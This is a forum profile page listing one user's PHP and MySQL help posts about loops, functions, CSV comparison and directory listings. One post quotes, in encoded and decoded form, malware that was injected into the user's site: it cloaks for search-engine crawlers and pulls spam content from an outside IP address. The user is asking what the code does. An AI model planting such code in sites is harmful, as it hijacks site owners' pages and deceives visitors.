Jump to content

rbarnett

Members
  • Posts

    26
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

rbarnett's Achievements

Member

Member (2/5)

0

Reputation

  1. Thank you! That makes perfect sense. I added $i = 1; before the while loop and $i++ inside the while loop and added where id = $i to the update query. That works. I really appreciate your help.
  2. I have a user table that holds email addresses and for testing purposes I am trying to replace every email address with an email address defined in an array. I would like to randomly choose an email address from the array and update the table with this address. When I run the following code it randomly chooses a email address from the array but then updates every row with this one email address. Can you someone please let me know what I am doing wrong. Thanks in advance. $query = "SELECT * FROM user '"; $result = mysql_query($query); $input = array('email1', 'email2', 'email3', 'email4', 'email5', 'email6', 'email7'); $rand_keys = array_rand($input, 2); $replaceStr = $input[$rand_keys[0]]; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $rand_keys = ""; $rand_keys = array_rand($input, 2); $replaceStr = $input[$rand_keys[0]]; mysql_query("UPDATE user SET email = '$replaceStr'"); }
  3. Thank you. That does make a lot more sense. Your example does not work but it gives me something to go on. I'll keep working on it. Thanks again.
  4. Thanks Hoogie. I didn't know that about a return. I'm probably not understanding you but to put it in a list I did the following: function getAll() { require_once('../../../moodle2_connect.php'); $query = "select username from moodle2_user"; $result = mysql_query($query) or die(mysql_error()); while($row = mysql_fetch_array($result)){ $items = $row['username']; } return $items; } Essentially putting the return statement outside the loop. But this now gives me the last record.
  5. I created a function that returns all users from a database table, however, it only returns the first row. What am I doing wrong? When I run this independent of a function it displays all of the rows fine. Thanks. function getAll() { require_once('../../../moodle2_connect.php'); $query = "select username from moodle2_user"; $result = mysql_query($query) or die(mysql_error()); while($row = mysql_fetch_array($result)){ $items = $row['username']; return $items; } }
  6. Thank you. I appreciate your response. I'm on the line now with my hosting company to try and do so.
  7. I noticed the index page on my site was modified this morning and found this code inserted at the bottom of the page: <!--ddgbsre_erd_sdd--><?php eval(base64_decode("aWYoc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygkZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIwNy40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAkciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4iKTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9")); I printed out what is decoded: if(stripos($_SERVER['HTTP_USER_AGENT'], 'google') or stripos($_SERVER['HTTP_USER_AGENT'], 'yahoo') or stripos($_SERVER['HTTP_USER_AGENT'], 'msn') or stripos($_SERVER['HTTP_USER_AGENT'], 'live')) { $r = ''; if($f=@fsockopen('91.207.4.18',80,$e,$er,10) and @fputs($f, "GET /linkit/in.php?domain=" . urlencode($_SERVER["SERVER_NAME"]) . "&useragent=" . urlencode($_SERVER['HTTP_USER_AGENT']) . " HTTP/1.0\r\nHost: 91.207.4.18\r\n\r\n")) while( $l = fread($f, 1024)) $r .= $l; @fclose($f); $p=strpos($r,"\r\n\r\n"); echo substr($r,$p+4); } Can someone please interpret what this code is trying to do? I noticed that the IP address is coming from the Ukraine. Thank you
  8. I am trying to compare the contents of a csv file to data from a query. I would like to to look at the csv file and the results from the query and be able to output where there is a mismatch. The following is the code that I have to read the csv file and the query but I am not sure how to determine the mismatch. Thank you! include('../moodle_schools_connect.php'); $query = 'SELECT c.id, c.shortname, u.username, u.firstname, u.lastname, u.idnumber FROM testsite_course c LEFT OUTER JOIN testsite_context cx ON c.id = cx.instanceid LEFT OUTER JOIN testsite_role_assignments r ON cx.id = r.contextid LEFT OUTER JOIN testsite_user u ON r.userid = u.id WHERE c.id = 105'; $result = mysql_query($query); $handle = fopen("enrolments.txt", "r"); echo 'data in file:<br />'; while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) { echo $data[0] . ', ' . $data[1] . ', ' . $data[2] . ', ' . $data[3] . '<br />'; } echo '<br /><br />data from database:<br />'; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo $row[1] . ', ' . $row[2] . ', ' . $row[3] . ', ' . $row[4] . ', '. $row[5] . '<br />'; } fclose($handle);
  9. manny, That worked. A million thanks! I believe I understand what you did too so even better.
  10. I hope this is a simple one that I'm just overlooking but I am unable to update multiple rows. I have 2 rows in the table and when I echo out the update query it shows the first row that should have id 1 as having id 2 and the second row is blank when it should be id 2. When I echo the row ids in the select statement the rows ids show correctly. Below is my code. Any help would be greatly appreciated. $schNameInsert = $_POST['schoolName']; $dirNameInsert = $_POST['dirName']; $diskQuotaInsert = $_POST['diskQuota']; $schNameEdit = $_POST['schoolNameEdit']; $dirNameEdit = $_POST['dirNameEdit']; $diskQuotaEdit = $_POST['diskQuotaEdit']; $path = "/var/data/moodleclient/"; require_once('/var/data/moodle_schools_connect.php'); $query = "select * from disk_quotas"; $result = mysql_query($query); $num_rows = mysql_num_rows($result); if(isset($_POST['add'])) { $queryInsert="INSERT INTO disk_quotas (school_name, disk_quota, dir_name) VALUES ('$schNameInsert',$diskQuotaInsert,'$dirNameInsert')"; mysql_query($queryInsert); header('Location:'.$_SERVER['PHP_SELF']); } echo '<div style="font-size: 14px">'; if($num_rows == 1) { echo $num_rows.' Record'; }elseif($num_rows == 0) { echo 'No Records'; }else { echo $num_rows.' Records'; } echo ' Found'; if(!isset($_POST['edit'])) { echo '<div style="position:absolute;left:500px;top:0px;"> <form action="'.$_SERVER['PHP_SELF'].'" method="post"> <input type="submit" name="edit" value="Edit" /> </form> </div>'; } echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">'; echo '<table class="sortable"> <thead> <tr> <th>School Name</th> <th>Directory Name</th> <th>Disk Quota</th> </tr> </thead> <tbody>'; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $diskQuota = $row['disk_quota']; $dirName = $row['dir_name']; $schoolName = $row['school_name']; $id = $row['school_id']; if(!isset($_POST['edit'])) { echo '<tr> <td>'.$schoolName.'</td> <td>'.$dirName.'</td> <td>'.$diskQuota.'</td> </tr>'; } else { echo '<tr> <td><input type="text" name="schoolNameEdit[]" value="'.$schoolName.'" /></td> <td><input type="text" name="dirNameEdit[]" value="'.$dirName.'" /></td> <td><input type="text" name="diskQuotaEdit[]" value="'.$diskQuota.'" /></td> </tr>'; } } if(!isset($_POST['edit'])) { echo ' <form action="'.$_SERVER['PHP_SELF'].'" method="post"> <tr> <td><input type="text" name="schoolName" /></td> <td><input type="text" name="dirName" /></td> <td><input type="text" name="diskQuota" /></td> </tr> </tbody> </table> </div> <input type="submit" name="add" value="Add" /> </form>'; } if(isset($_POST['edit'])) { echo '<input type="submit" name="changes" value="Submit Changes" /> </form>'; } if(isset($_POST['changes'])) { for($i=0;$i<$num_rows;$i++) { $queryUpdate="UPDATE disk_quotas SET school_name='$schNameEdit[$i]', disk_quota=$diskQuotaEdit[$i], dir_name='$dirNameEdit[$i]' WHERE id=$id[$i]"; $resultUpdate=mysql_query($queryUpdate); echo $queryUpdate; } } if(isset($_POST['add'])) printf ("Records Added: %d\n", mysql_affected_rows());
  11. Thanks, but that did not work. Now it replaces the number with a blank.
  12. I am printing a directory listing to the screen and the path shows a number for one of the directories within the path. For example, the printout will look like: /var/data/moodleclient/testsite/3/backupdata/ExportFile_HOL-310-02-Biology_20080901034238.zip /var/data/moodleclient/testsite/4/backupdata/restorelog.html /var/data/moodleclient/testsite/2/res00027/!4368617074657220342d31.mp3 The numbers (in bold) correspond to ids from a mysql database table. What I would like to do is print out the directory listing as shown above but replace the numbers with their corresponding course name. For example, if you were to query the table you could do: SELECT coursename FROM course WHERE id = 4. My code to do this is below, however, my problem is that I always get the last course name from the database for every directory listing instead of having the course name that corresponds to the number (id) I am trying to replace <?php $site = GetFileDir($_SERVER['PHP_SELF']); $initPath = '/var/data/moodleclient'; $path = $initPath.$site; $dirROOT = '/var/www/html'.$site; require_once($dirROOT . "config.php"); require_login(); require_once($dirROOT."lib/dmllib.php"); $prefix = $CFG->prefix; function GetFileDir($php_self) { $filename = explode("/admin/report/datausage/", $php_self); // THIS WILL BREAK DOWN THE PATH INTO AN ARRAY for( $i = 0; $i < (count($filename) - 1); ++$i ) { $filename2 .= $filename[$i].'/'; } return $filename2; } function ListFiles($dir) { global $prefix; if($dh = opendir($dir)) { $files = Array(); $inner_files = Array(); while($file = readdir($dh)) { if($file != "." && $file != ".." && $file[0] != '.') { if(is_dir($dir . "/" . $file)) { $inner_files = ListFiles($dir .'/'. $file); if(is_array($inner_files)) $files = array_merge($files, $inner_files); } else { array_push($files, $dir . "/" . $file); } } } closedir($dh); return $files; } } foreach (ListFiles($path) as $key=>$file) { $query = 'SELECT fullname, id FROM ' . $prefix. 'course WHERE id ='.$key; $result = mysql_query($query); while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $courseName = $row['fullname']; $courseID = $row['id']; } $courseFile = preg_replace("/[0-9]\//","$courseName/",$file,1); echo $courseFile.'<br />'; } ?> Thanks in advance for any help.
  13. Thanks for the response. Inserting the error code displays 6143. Do you know what this means? I looked it up but I can't find anything intelligible to me.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.